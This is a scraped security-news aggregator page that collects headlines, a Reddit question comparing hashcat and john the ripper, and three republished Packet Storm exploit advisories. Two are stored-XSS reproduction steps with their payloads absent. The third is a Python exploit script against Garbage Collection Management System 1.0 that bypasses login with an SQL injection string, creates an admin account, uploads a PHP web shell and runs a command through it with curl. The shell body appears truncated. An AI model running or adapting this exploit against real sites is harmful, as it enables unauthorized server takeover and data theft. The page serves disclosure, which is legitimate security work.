Hacking on Medium
Hacking Water Exposed

Source: https://zerontek.com/zt/2021/07/14/hacking-water-exposed/

Continue reading on Medium »

Hacking on Medium
The Dark Side of Crypto

https://cdn-images-1.medium.com/max/1280/1*4sBwdiog243bpj5Em4W0EQ.jpeg
All the Negatives of Cryptocurrency and the Ways it is Misused

Continue reading on Medium »

XStream Vulnerabilities — Detection & Mitigation
https://blog.shiftleft.io/xstream-vulnerabilities-detection-mitigation-e468c152ca23?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Looking at RCEs in the XStream Java Library and How you can prevent themContinue reading on ShiftLeft Blog » (https://blog.shiftleft.io/xstream-vulnerabilities-detection-mitigation-e468c152ca23?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How is my VM using john kicking my hosts ass that's using hashcat

I am doing a ctf which has you crack a sha256 hash using john the ripper but I am trying to learn hashcat more so have been making myself use that on my host machine. Today after my hashcat was running for ~1hr i figured I'd try JTR on my vm for shits and giggles. Well it cracked the hash instantly. Any explanations on why if I am using the same wordlist this would happen (full rockyou.txt as requested by the ctf)? I would think my vm regulated to 4 cores would be slower then the host with 8 cores, integrated graphics, and a 3060 running in parallel. My guess is operator error with hashcat?

hashcat cmd:`hashcat -m 1400 -a 3 -o OUTPUT HASH WORDLIST`

john cmd:`john HASH --wordlist=WORDLIST --format=RAW-SHA256`

submitted by /u/rltw_275
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

XLS Entanglement
https://www.reddit.com/r/redteamsec/comments/ok91wk/xls_entanglement/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://www.bc-security.org/post/xls-entanglement/) [comments] (https://www.reddit.com/r/redteamsec/comments/ok91wk/xls_entanglement/)

___________________________
@hacking_Attack
@Hacking_Video

[Help] Technical questions about penetration testing
https://www.reddit.com/r/Pentesting/comments/ok9qzq/help_technical_questions_about_penetration_testing/

<!-- SC_OFF -->Hi all, I am trying to make a Q&A about pentest for my forum. I would like to collect more technical questions about this topic. If you have any technical questions, can you comment bellow? I'd be so thankful :D <!-- SC_ON --> submitted by /u/myx_linh (https://www.reddit.com/user/myx_linh)
[link] (https://www.reddit.com/r/Pentesting/comments/ok9qzq/help_technical_questions_about_penetration_testing/) [comments] (https://www.reddit.com/r/Pentesting/comments/ok9qzq/help_technical_questions_about_penetration_testing/)

Exploit Collector
Invoice System 1.0 Cross Site Scripting

https://4.bp.blogspot.com/-gQsa2Au6OFw/WWlvKe9cGFI/AAAAAAAAIME/7MuhuX3Jqy0CeEu0oyVXmXST8BDpKvIGgCLcBGAs/s1600/h15.png
Invoice System version 1.0 suffers from a persistent cross site scripting vulnerability.

MD5 | ae515ca8430ebaf0b5e6780c40a79454

Download
# Exploit Title: Invoice System 1.0 - 'Multiple' Stored Cross-Site Scripting (XSS)
# Date: 12 July 2021
# Exploit Author: Subhadip Nag (mrl0s3r)
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14858/invoice-system-using-phpoop-free-source-code.html
# Tested on: Server: XAMPP
# Description #

Invoice System 1.0 is vulnerable to 'Multiple 'stored cross site scripting (xss) in the Settings option because of insufficient user supplied data.
When anyone visits any other option like(Dashboard,Invoice,Category,Service,Product and also Settings option, our payload will respond as well, and when anyone again Login as Admin the payload works the same as well.

# Proof of Concept (PoC) : Exploit #

1) Goto: http://localhost/simple_invoice/admin/login.php
2) Login: Login as a Admin for given credentials: admin | admin123
3) Goto: Settings option
4) In the System Name & Short Name, Enter the payload:

5) Click Update
6) our XSS attack fired and Stored
7) Wherever we are clicked in any options, noticed that our Payload responding us

8) Goto: http://localhost/simple_invoice/admin/?page=service
9) Click Create New
10) In the Name and Description field, enter the payload:

11) Our XSS attack Successful

12) Goto: http://localhost/simple_invoice/admin/?page=invoice
13) Click Create New
14) In the Customer Name, Unit, Remarks, enter the payload:

15) Our XSS attack Successful
# PoC image
1) https://ibb.co/JpYdZ4F
2) https://ibb.co/brm00dF
3) https://ibb.co/3crYLSZ
4) https://ibb.co/N9m6fy0
5) https://ibb.co/HGNSJDN
6) https://ibb.co/7tyFY1P
7) https://ibb.co/gZ0BvjB
8) https://ibb.co/2S9J6Xn

Source:packetstormsecurity.com

Exploit Collector
WordPress WPFront Notification Bar 1.9.1.04012 Cross Site Scripting

https://4.bp.blogspot.com/-AtnQ_7I3m3U/WWlvZV4J0qI/AAAAAAAAIOs/cujNKaH5r44v1_gHRqEIroH6JJl6WzjUACLcBGAs/s1600/h58.png
WordPress WPFront Notification Bar plugin version 1.9.1.04012 suffers from a persistent cross site scripting vulnerability.

MD5 | 0a33f701a76c573d9c89e82964d46175

Download
# Exploit Title: WordPress Plugin WPFront Notification Bar 1.9.1.04012 - Stored Cross-Site Scripting (XSS)
# Date: 11/07/2021
# Exploit Author: Swapnil Subhash Bodekar
# Vendor Homepage:
# Software Link: https://wordpress.org/plugins/wpfront-notification-bar/
# Version: 1.9.1.04012
# Tested on Windows
# Category: Web Application

How to reproduce vulnerability:

1. Install WordPress 5.7.2
2. Install and activate *WPFront Notification Bar* plugin.

3. Navigate to *WPFront Notification Bar *>> Setting >> notification bar and
fill the required data and enter the below-mentioned payload into the Custom
CSS user input field.
5. You will observe that the payload successfully got stored into the
database and when you are triggering the same functionality in that time
JavaScript payload is executing successfully and we are getting a pop-up.

Source:packetstormsecurity.com

Exploit Collector
Garbage Collection Management System 1.0 Shell Upload / SQL Injection

https://4.bp.blogspot.com/-rlkVZrkp7Nk/WWlvMMd1AsI/AAAAAAAAIMM/kgTZoxpDP8Ypbt5o2Ma3tAKenLk3_TLPQCLcBGAs/s1600/h18.png
Garbage Collection Management System version 1.0 shell upload exploit that leverages a SQL injection vulnerability.

MD5 | ea34ecce44fb54eefcd9fffe39d45a35

Download
# Exploit Title: Garbage Collection Management System 1.0 - SQL Injection + Arbitrary File Upload
# Date: 05-07-2021
# Exploit Author: Luca Bernardi - bernardiluca.job at protonmail.com | luca.bernardi at dedagroup.it
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14854/garbage-collection-management-system-php.html
# POC: https://www.exploit-db.com/exploits/50085
# Tested On: Ubuntu 21.04 + Apache/2.4.46 (Ubuntu)
# Version: 1.0

#======================================================

#imports
from requests_toolbelt.multipart.encoder import MultipartEncoder
import requests
import string
import random
import os
import argparse

#generate random string 8 chars
def randomGen(size=8, chars=string.ascii_lowercase):
return ''.join(random.choice(chars) for _ in range(size))
#generating a random username and a random web shell file
user=randomGen()
shellFile=randomGen()+".php"

#creating a payload for the login
payload = {
"username":"a",
"password":"a' OR 1=1 AND ucat='admin' #"
}
proxies = {"http":"http://127.0.0.1:8080"}

session=requests.Session()

#changeme
urlBase="http://172.27.1.71/Gabage/"

url=urlBase+"login.php"
print("=== executing SQL Injection ===")
req=session.post(url,payload,allow_redirects=False)

cookie=req.headers["Set-Cookie"]
print("=== authenticated admin cookie:" + cookie + " ===")

url=urlBase+"apatient/users.php?user=rayat"

mp_encoder = MultipartEncoder(
fields = {
"fullname":user,
"ucat":"admin",
"contact":"0000000000",
"address":"aaa ave",
"username":user,
"acstatus":"active",
"date":"2021-07-05",
"password":user,
"image":(shellFile,"<?php","application/x-php"),
"submit":""
}
)
headers = {
"Cookie":cookie,
'Content-Type': mp_encoder.content_type
}

print("=== creating user " + user + " and uploading shell " + shellFile +" ===")
req=session.post(url,data=mp_encoder,allow_redirects=False,headers=headers) #,proxies=proxies)

#curl the shell for test
requestUrl = "curl " + urlBase + "apatient/contract/"+shellFile+"?cmd=whoami"
print("=== issuing a whoami: " + requestUrl + " ===")

print("===CURL OUTPUT===")
os.system(requestUrl)


Source:packetstormsecurity.com